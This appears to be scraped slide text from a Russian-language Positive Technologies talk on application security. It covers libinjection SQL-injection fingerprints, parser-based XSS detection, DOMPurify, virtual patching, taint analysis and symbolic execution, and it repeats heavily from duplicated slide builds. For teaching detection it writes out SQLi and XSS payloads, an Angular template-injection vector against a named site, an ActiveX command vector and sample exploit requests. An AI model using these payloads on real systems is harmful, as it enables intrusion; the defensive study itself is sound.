Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
3
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1" '): string
('c', '--'): comment
Токены
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
Токены
s&sos
Сигнатура
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1" '): string
('c', '--'): comment
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
Токены
s&sos
Сигнатура
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1" '): string
('c', '--'): comment
Заголовок
&(1)U
&(1)o
&(1o(
&(1of
&(1os
&(1ov
&(f()
&(nof
&(nos
&(nov
&(s)U
Примеры сигнатур
https://github.com/client9/libinjection/blob/master/src/fingerprints.txt
ЗаголовокФрагмент ядра libinjection
libinjection: src/libinjection_sqli.c
ЗаголовокПример использования
Shockfish: shockfish/protectors/sqli.py
Заголовок
Ложные срабатывания
• if all else fails call grandma
• "Dr. Who" and coffee
• "SWEATER DRESS" AND "CHRISTMAS”
Пропуски
• Неизвестные токены
• Неизвестные контексты
Недостатки
Ivan Novikov. How to bypass libinjection in many WAF/NGWAF
Reto Ischi. An Alternative Approach for Real-life SQLi Detecion
ЗаголовокНеизвестные контексты
Michael Stepankin. Advanced Web Application Fuzzing
Заголовок
Синтаксический подход
Заголовок
Впервые применение парсеров для обнаружения инъекций было описано
в работе Роберта Хансена и Мередит Паттерсон Guns and Butter: Towards
Formal Axioms of Input Validation для Black Hat 2005
Сontext-free parse tree validation
• По известным запросам приложения грамматика для SQL преобразуется
в грамматику для subSQL
• По построенной грамматике генерируется парсер
• Парсер subSQL распознает только цепочки подъязыка SQL этого приложения
Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal
Axioms of Input Validation
Синтаксический подход
Заголовок
Ленивые – эвристическое использование готовых парсеров
• DOMPurify
• DOMSanitizer
Грамматические
• libdetection (Wallarm)
• libdejection (PT AF, DBFW)
• libprotection (PT AI)
В идеале необходимо использовать парсеры целевых
компьютерных систем, для предотвращения уязвимостей типа
parser differentials
Новые методы
Заголовок
Строка s – инъекция для языка L(G), если в построенном дереве разбора s по грамматике G
содержится хотя бы одна опасная инструкция
• 11111
• alert(1)
Базовая идея – с использованием готового парсера построить дерево разбора; если дерево
разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией
Характеристики подхода
• Возможность использования готовых парсеров
• Универсальность
• Эвристичность
• Различимость парсеров
Ленивый метод
ЗаголовокПример: DOM-based XSS
http://ex.com/foo.html#1
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>");
<script> var foo = 1; <script>
Program
ExpressionStatement
Literal
ЗаголовокПример: DOM-based XSS
http://ex.com/foo.html#1;alert(1)
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
Program
ExpressionStatement
Literal
ExpressionStatement
CallExpression
Identifier
Literal
Заголовок
Запрещенные нетерминалы (опасные конструкции) в простейшем
случае задаются перечнем типов узлов
Для уменьшения числа ложных срабатываний могут быть
использованы дополнительные проверки на основе родительских
или дочерних узлов
Что делать, когда дерево разбора не может быть построено?
""};alert(1);var f={t:"
Поиск вредоносного кода
Заголовок
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens – список токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если S – непустая строка, то перейти на шаг 2
Метод поиска с левым приведением
ЗаголовокAcorn Plugins
function sanitize(dirty) {
var acorn = require('acorn'), detected = false, tree ;
acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {
return function(code, node) {
if(node === 'CallExpression') {
detected = true;
}
return nextMethod.call(this, code, node);
}
})
};
tree = acorn.parse(dirty, {plugins: {detectCallExpression: true}});
if (detected) {
return 'xss';
}
return dirty;
}
Acorn is designed support allow plugins which, within reasonable bounds, redefine the
way the parser works. Plugins can add new token types and new tokenizer contexts (if
necessary), and extend methods in the parser object
ЗаголовокEsprima Syntax Delegate
function sanitize(dirty) {
var esprima = require('esprima'), detected = false, tree;
tree = esprima.parse(dirty, {}, function(node, meta) {
if(node.type === 'CallExpression') {
detected = true;
}
});
if (detected) {
return 'xss';
}
return dirty;
}
sanitize(';alert(1);var f={t:')
// 'xss'
A powerful feature available in Esprima since version 3.0 is the ability to invoke a callback
function after every syntax node in the abstract syntax tree is created, often referred as
the syntax delegate
Ariya Hidayat. On-the-fly JavaScript Syntax Node Inspection.
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
1
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
2
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = ""});alert(1);var f =({t:"
parse(vector): Unexpected token (1:2)
3
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = });alert(1);var f =({t:"
parse(vector): Unexpected token (1:0)
4
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = );alert(1);var f =({t:"
parse(vector): Unexpected token (1:0)
5
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = ;alert(1);var f =({t:"
parse(vector): Program
6
ЗаголовокПример
7 Program
EmptyStatement ExpressionStatement
alert
CallExpression
…
arguments
1
nodes = {CallExpression}
vector = ;alert(1);var f =({t:"
ЗаголовокПримеры обнаруживаемых векторов
http://friendfeed.com/api/feed/public?callback=var WshShell=new
ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6
alert`1`
https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescript
or(_.__proto__,$).value,0,"alert(1)")()}}zzzz
ЗаголовокТолерантность к ошибкам
)},{0:prompt(1
Prompt.ml Challenge Hidden Level 4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the solution might work for some older versions of Chrome, while for others, a
different vector would be needed…"
ЗаголовокТолерантность к ошибкам
nodes = {CallExpression}
input = )},{0:prompt(1
Program
ExpressionStatement
SequenceExpression
…
ObjectExpressionIdentifier
CallExpression
name: x
Заголовок
Используем толерантный к ошибкам парсер (Acorn loose parser)
Это приводит к неизбежному росту числа ложных срабатываний
• CallExpression: 123(1+1)
Ограничиваются правила толерантности парсера
Толерантность к ошибкам
А. Перцев, Д. Колегов. Эвристический метод обнаружения DOM-based XSS
с использованием толерантных синтаксических анализаторов
Заголовок
Встроенное распознавание
ЗаголовокDOM и DOMParser
DOMParser – интерфейс для парсинга и сериализации DOM
var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >';
var p = new DOMParser();
var d = p.parseFromString(s, 'text/html');
console.log(d.body.innerHTML);
// IE 10
// <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"="">
// FF
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
// Chrome
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
Заголовок
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности
• Точный механизм
• Инструмент для разработчиков
• Удаление вредоносного и запрещенного кода из HTML / MathML / SVG
• Поддерживает механизм хуков
DOMPurify
ЗаголовокDOMPurify
DOMPurify: src/purify.js
ЗаголовокЧто может DOMPurify
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789';
var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']});
clean; //123456789
var dirty = '<img src=x name=createElement><img src=y id=createElement>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x"><img src="y">"
var dirty = '<img src="http://evil.com/log.cgi?';
var clean = DOMPurify.sanitize(dirty);
clean; // ""
Предотвращать атаки DOM Clobbering
Предотвращать атаки Dangling Markup Injection
ЗаголовокDOMPurify для WAF
function isXSS(s) {
var isClean = true;
DOMPurify.sanitize(s);
if (DOMPurify.removed.length > 0)) {
return !isClean;
}
return isClean;
}
ε, dompurify.removed(x) ≠ 0
x, dompurify.removed(x) = 0
isXSS(x) =
ЗаголовокНормализация
DOMSanitizer: src/sanitizer.js
Заголовок
Виртуальный патчинг
Заголовок
Виртуальный патч – то, что предотвращает использование
обнаруженной уязвимости к атаке
• SAST
• DAST
Особенности
• Использование механизма правил, а не сигнатур
• Возможно использование сложных алгоритмов защиты (CSRF, IDOR)
Виртуальный патчинг
Ryan Barnett. WAF Virtual Patching Challenge
Заголовок
Знать, как не должно быть: необходимые и достаточные условия
наличия уязвимости
Знать, как есть: доказать наличие этих условий в анализируемом
коде защищаемого приложения
Устранить хотя бы одно из необходимых условий путем
изменения исходного кода защищаемого приложения
Как сгенерировать патч
В. Кочетков. «Автоматическая генерация патчей для уязвимого
исходного кода»
Заголовок
Знать, как не должно быть: необходимые и достаточные условия
наличия уязвимости
Знать, как есть: доказать наличие этих условий в защищаемом
приложении
Сделать невозможным выполнение хотя бы одного
из необходимых условий путем изменения запросов
к защищаемому приложению
Как сгенерировать виртуальный патч
Заголовок
• Средствами xAST выполняется поиск уязвимостей
веб-приложения
• По найденным уязвимостям создается отчет
• Отчет содержит перечень найденных уязвимостей
и автоматически сгенерированные эксплойты
• По полученным эксплойтам генерируются сигнатуры
и итоговые правила виртуальных патчей
Метод защиты
ЗаголовокПример 1: исходный код
// page.php
<?php
$name = $_GET["name"];
?>
<html>
<body>
<div class="user">
<?php echo $name; ?>
</div>
</body>
</html>
ЗаголовокПример 1: эксплойт
// page.php
<?php
$name = $_GET["name"];
?>
<html>
<body>
<div class="user">
<?php echo $name; ?>
</div>
</body>
</html>
http://example.com/blog/page.php?name=<svg/onload=alert(1)>
Эксплоит:
ЗаголовокПример 1: отчет
{
"path": "/blog/page.php",
"source": "/opt/app/www/blog/page.php",
"type": "XSS",
"exploit": "rnGET /blog/page.php/id=<svg/onload=alert(1)> HTTP/1.1rnHost: example.comrn",
"params": {
"param": {
"src": "REQUEST_GET_ARGS",
"payload": "<svg/onload=alert(1)>",
"name": "id",
"dependencies": {"dependency": [
"%3C",
"%3E"
]}
}}}
ЗаголовокПример 1: правило
{
"and": [
{
"REQUEST_PATH": "/blog/page.php"
},
{
"REQUEST_GET_ARGS:id": {
"regex": "[<>]"
}
}
]
}
ЗаголовокПример 2: исходный код
// page.php
<html>
<body>
<?php
$name = $_GET["name"];
$type = $_GET["type"];
$decoded_name = base64_decode($name);
if (!$decoded_name) {
echo "Error during ".$type." processing.";
} else {
…
}
?>
</body>
</html>
ЗаголовокПример 2: эксплойт
http://example.com/blog/page.php?type=<svg/onload=alert(1)>&name=$1
Эксплоит:
// page.php
<html>
<body>
<?php
$name = $_GET["name"];
$type = $_GET["type"];
$decoded_name = ads_decode($name);
if (!$decoded_name) {
echo "Error during ".$type." processing.";
} else {
…
}
?>
</body>
</html>
Заголовок
• Виртуальный патчинг здесь неэффективен
• Из-за неизвестного преобразования нет возможности сообщить
WAF информацию о том, какие значения должны принимать оба
параметра запроса для атаки
• Более того, из-за неизвестного преобразования не сработают
и все другие подходы
Метод защиты
Заголовок
ptsecurity.com
Формальные
методы защиты
приложений
ЗаголовокКраткое содержание
Заголовок
def analyze(code, data):
if not vulnerable(code, data):
# given configuration is secure
else:
# given configuration is vulnerable
Анализатор кода (пример 1/6)
Заголовок
def analyze(code, data):
if not vulnerable(code, data):
# given configuration is secure
vulnerable_function_call()
else:
# given configuration is vulnerable
Анализатор кода (пример 2/6)
Заголовок
analyzer_code =
"""
def analyze(code, data):
if not vulnerable(code, data):
# given configuration is secure
vulnerable_function_call()
else:
# given configuration is vulnerable
"""
Анализатор кода (пример 3/6)
Заголовок
analyzer_code =
"""
def analyze(code, data):
if not vulnerable(code, data):
# given configuration is secure
vulnerable_function_call()
else:
# given configuration is vulnerable
"""
eval(analyzer_code)
Анализатор кода (пример 4/6)
Заголовок
analyzer_code =
"""
def analyze(code, data):
if not vulnerable(code, data):
# given configuration is secure
vulnerable_function_call()
else:
# given configuration is vulnerable
"""
eval(analyzer_code)
analyze(analyzer_code, analyzer_code)
Анализатор кода (пример 5/6)
Заголовок
analyzer_code =
"""
def analyze(code, data):
if not vulnerable(code, data):
# given configuration is secure
vulnerable_function_call()
else:
# given configuration is vulnerable
"""
eval(analyzer_code)
analyze(analyzer_code, analyzer_code)
¯_(ツ)_/¯
Анализатор кода (пример 6/6)
Заголовок
n = … # n∈ℕ
def analyze(code, data):
while n:
sleep(n)
n -= 1
if not vulnerable(code, data):
# given configuration is secure
vulnerable_function_call()
else:
# given configuration is vulnerable
И сколько таких «частных» случаев теперь возможно?
Частный случай?
Заголовок
Не существует универсального анализатора защищённости
Теорема Райса (применительно к AppSec)
Заголовок
Проблема анализа защищённости решаема для программ:
• эквивалентных конечным автоматам (за PTIME)
• сводимых к конечным автоматам за счёт накладывания
ограничений на размеры доступной памяти, размерность
переменных, количество итераций циклов и т. п. (за EXPTIME)
Все существующие анализаторы используют подходы,
основанные на аппроксимации модели исследуемого кода
Любой статанализатор легко «обламывается» не более
чем 3 строчками кода
Статанализаторы – индустрия обмана?
Заголовок
Интерпретация кода в рамках семантической модели,
отличающейся от модели формального языка. Основной
инструмент аппроксимации кода
Абстрактная интерпретация
Заголовок
Построим свою собственную арифметику со знаком
и формулами:
(+a) = (+)
(-a) = (-)
(-a) * (+b) = (-)
(-a) / (+b) = (-)
(-a) + (+b) =
a ≤ b ⇒ (+),
a > b ⇒ (-)
И применим её:
-42 / 8 * 100500 + x =
x ≥ -527625 ⇒ (+),
x < -527625 ⇒ (-)
Абстрактная интерпретация на пальцах
Заголовок
Применяется для доказательства факта зависимости потоков
данных различных типов
Частный случай – доказательство зависимости выходных данных
от входных aka taint-анализ
Анализ зависимостей кода
ЗаголовокTaint-анализ (1/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (2/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (3/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (4/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (5/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (6/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (7/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (8/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокTaint-анализ (9/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
Заголовок
• Невозможно автоматизировать верификацию результатов
• Не учитываются условия достижимости опасной операции
• Семантика трансформирующих операций определяется
исключительно базой знаний
• Подход применим только к классам уязвимостей к атакам,
основанным на передаче в опасную операцию конкретных
значений аргументов
Недостатки taint-анализа
Заголовок
• Символическое выполнение – абстрактная интерпретация кода
в рамках семантической модели потоков вычисления
Roberto Baldoni, Emilio Coppa, Daniele Cono D'Elia, Camil
Demetrescu, Irene Finocchi, «A Survey of Symbolic Execution
Techniques»
(https://arxiv.org/abs/1610.00502)
• Конкретное выполнение – выполнение отдельных фрагментов
кода в заданном контексте
Символическое и конкретное выполнение
Заголовок
2x^2 + 4 = 12
2x^2 = 12 - 4
2x^2 = 12 - 4
x^2 = (12 - 4) / 2
x = sqrt((12 - 4) / 2)
x = sqrt((8) / 2)
x = sqrt(4)
x = 2
Символическое и конкретное выполнение (пример)
Заголовок
Множество, генерирующая / распознающая функция которого
определяется истинностью заданных предикатов
Например:
{x ≥ -527625 ⇒ (+), x < -527625 ⇒ (-)}
Опциональное множество
Заголовок
Сущность абстрактной интерпретации, включающая:
• область видимости переменных (условные множества
их достижимых значений)
• условие достижимости
• ссылку на вышележащий контекст
• стратегию взаимодействия с областями видимости
вышележащих контекстов
Контексты символического выполнения
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (1/8)
{}
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (2/8)
true ⇒ {
true ⇒ z,
}
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (3/8)
true ⇒ {
true ⇒ z,
true ⇒ a = 10
}
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (4/8)
z > 5 ⇒ {
true ⇒ z,
z > 5 ⇒ a = z - 5
}
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (5/8)
z ≤ 5 ⇒ {
true ⇒ z,
z ≤ 5 ⇒ a = z + 5
}
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (6/8)
true ⇒ {
true ⇒ z,
z > 5 ⇒ a = z - 5
z ≤ 5 ⇒ a = z + 5
}
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (7/8)
true ⇒ {
true ⇒ z,
z > 5 ⇒ a = z - 5
z ≤ 5 ⇒ a = z + 5
}
Заголовок
int main(int z) {
int a = 10;
if (z > 5)
{
a = z - 5;
}
else
{
a = z + 5;
}
return a;
}
Контексты (8/8)
true ⇒ {
true ⇒ z,
z > 5 ⇒ a = z - 5
z ≤ 5 ⇒ a = z + 5
}
Заголовок
• Глобальные
• Глобальный
• Типовой
• Экземплярный
• Локальные
• Функциональный
• Операторный
• Условный
• Циклический
Типы контекстов
Заголовок
Кондиционал – опциональное множество всех возможных
значений переменной
Кондиционализация – замена неизвестных переменных
в формуле их кондиционалами:
true ⇒ { return a
true ⇒ z,
z > 5 ⇒ a = z - 5
z ≤ 5 ⇒ a = z + 5
}
return true ⇒ { true ⇒ z, z > 5 ⇒ z – 5, z ≤ 5 ⇒ z + 5 }
Кондиционализация
Заголовок
Разложение формулы, содержащей кондиционалы, на N формул,
не содержащих кондиционалы с аггрегированием условий
для каждой из них:
return true ⇒ { true ⇒ z, z > 5 ⇒ z – 5, z ≤ 5 ⇒ z + 5 }
return z > 5 ⇒ { z – 5 }
return z ≤ 5 ⇒ { z + 5 }
Опционализация
Заголовок
Marek Trtík, PHD Thesis: «Symbolic Execution and Program
Loops»
(https://is.muni.cz/th/329313/fi_d/trtik_phdThesis.pdf)
Циклы / рекурсия?
Заголовок
Учебный проект с реализацией абстрактного интерпретатора
подможества языка C (http://jamesvanboxtel.com/projects/minic-
compiler/minic.pdf)
https://github.com/PositiveTechnologies/mantaray
Mantaray
Заголовок
• Single-pass режим интерпретации
• Межпроцедурный анализ с поддержкой глобального состояния
• Упрощение формул достижимости SMT-солвером
• Технический долг:
• циклы
• указатели
• детектирование NPD и инъекций
Mantaray: особенности
Заголовок
Материалы
ЗаголовокКниги
ЗаголовокCopyrights
В презентации использованы следующие материалы:
В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?
Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript.
А. Петухов. Обзор ограничений современных технологий в области ИБ.
I. Markovic. HTTP Parameter Contamination.
I. Ristic. Protocol-Level Evasaion of Web Application Firewalls.
Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications.
D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC
S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory
S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them
Заголовок
ptsecurity.com
Спасибо!
Спасибо!

Трущобы Application Security

  • 1.
  • 2.
    Заголовок Владимир Кочетков –руководитель отдела исследований по анализу защищённости приложений Positive Technologies https://about.me/vladimir.kochetkov vkochetkov@ptsecurity.com :~$ whoweare
  • 3.
    Заголовок Денис Колегов –руководитель группы исследований технологий защиты Positive Technologies Доцент, к. т. н., доцент кафедры защиты информации и криптографии ТГУ https://twitter.com/dnkolegov dkolegov@ptsecurity.com :~$ whoweare
  • 4.
    Заголовок Евгений Рыжов –руководитель отдела разработки веб-сканера eryzhov@ptsecurity.com :~$ whoweare
  • 5.
    Заголовок • Теоретические основыApplication Security • Эвристические методы защиты приложений • Формальные методы защиты на основе исходного кода • Объединяя подходы • Немного о чёрных ящиках Agenda
  • 6.
  • 7.
    Заголовок Предметная область, рассматривающаяв качестве объекта защиты гипотетическую информационную систему (ИС): • включающую в себя конкретное приложение • объединяющую объекты окружения в единую сущность • замкнутую относительно информационных потоков приложения AppSec (Application Security) 1/2
  • 8.
    ЗаголовокAppSec (Application Security)2/2 Входные данные Конфигурация окружения Исполняющая среда Выходные данные Приложение Окружение Граница доверия
  • 9.
    Заголовок • Вне областивлияния приложения его окружение защищено • Логика предметной области приложения корректна Допущения AppSec
  • 10.
  • 11.
    Заголовок Множество сущностей, ихинвариантов и отношений в рамках описываемых процессов Предметная область
  • 12.
    Заголовок Абстракция объекта внекотором контексте, обладающая следующими характеристиками: • Свойство – значимый атрибут абстрагируемого сущностью объекта • Состояние – множество текущих значений всех свойств сущности • Инвариант – множество допустимых состояний сущности Отношение – утверждение, определяющее взаимосвязь изменения состояний сущностей Сущность
  • 13.
    Заголовок Каскадное изменение состоянийсущностей в соответствии с их отношениями вследствие однократного воздействия на одну из них Операция
  • 14.
  • 15.
  • 16.
    Заголовок Сущность: точки накарте города • Свойство: координаты – пара значений «широта-долгота» • Инвариант: координаты принадлежат перекресткам города или строениям Сущность: маршрут • Свойство: путь - упорядоченное множество точек на карте города • Инвариант: путь непрерывен, проходит по улицам города в соответствии с ПДД • Отношение: оптимальность – длина пути минимальна для заданных начальной и конечной точек Сущности: точка загрузки, точка доставки • Свойство: точка на карте города • Инвариант: координаты принадлежат строениям Пример: логистика
  • 17.
    Заголовок В терминах предметнойобласти логистики: построить оптимальный маршрут из точки загрузки, проходящий через все точки доставки по одному разу и возвращающийся в точку загрузки. Пример: логистика
  • 18.
    Заголовок В терминах предметнойобласти теории графов: найти гамильтонов цикл минимального веса в полном (дополненном ребрами бесконечной длины) взвешенном графе. Пример: логистика
  • 19.
    Заголовок Позволяют строить абстрактныемодели предметных областей Обобщённые предметные области
  • 20.
    ЗаголовокПредметные области приложений Вторичные: •защищенность • отказоустойчивость • опыт взаимодействия • производительность Первичные (основные): • интернет-торговля • онлайн-банкинг • бухучет • … (тысячи их) Каждое приложение реализует как модели основной предметной области, так и множество моделей вторичных предметных областей
  • 21.
  • 22.
    Заголовок Поскольку защищённость –темпоральное свойство, модель приложения должна отражать процесс его выполнения Выбор модели приложения
  • 23.
    Заголовок Приложение можно представитьв виде базовых блоков, между которыми передаётся управление в процессе выполнения приложения Потоки управления
  • 24.
    ЗаголовокПотоки управления (пример1/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 25.
    ЗаголовокПотоки управления (пример2/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 26.
    ЗаголовокПотоки управления (пример3/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 27.
    ЗаголовокПотоки управления (пример4/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 28.
    ЗаголовокПотоки управления (пример5/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 29.
    ЗаголовокПотоки управления (пример6/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 30.
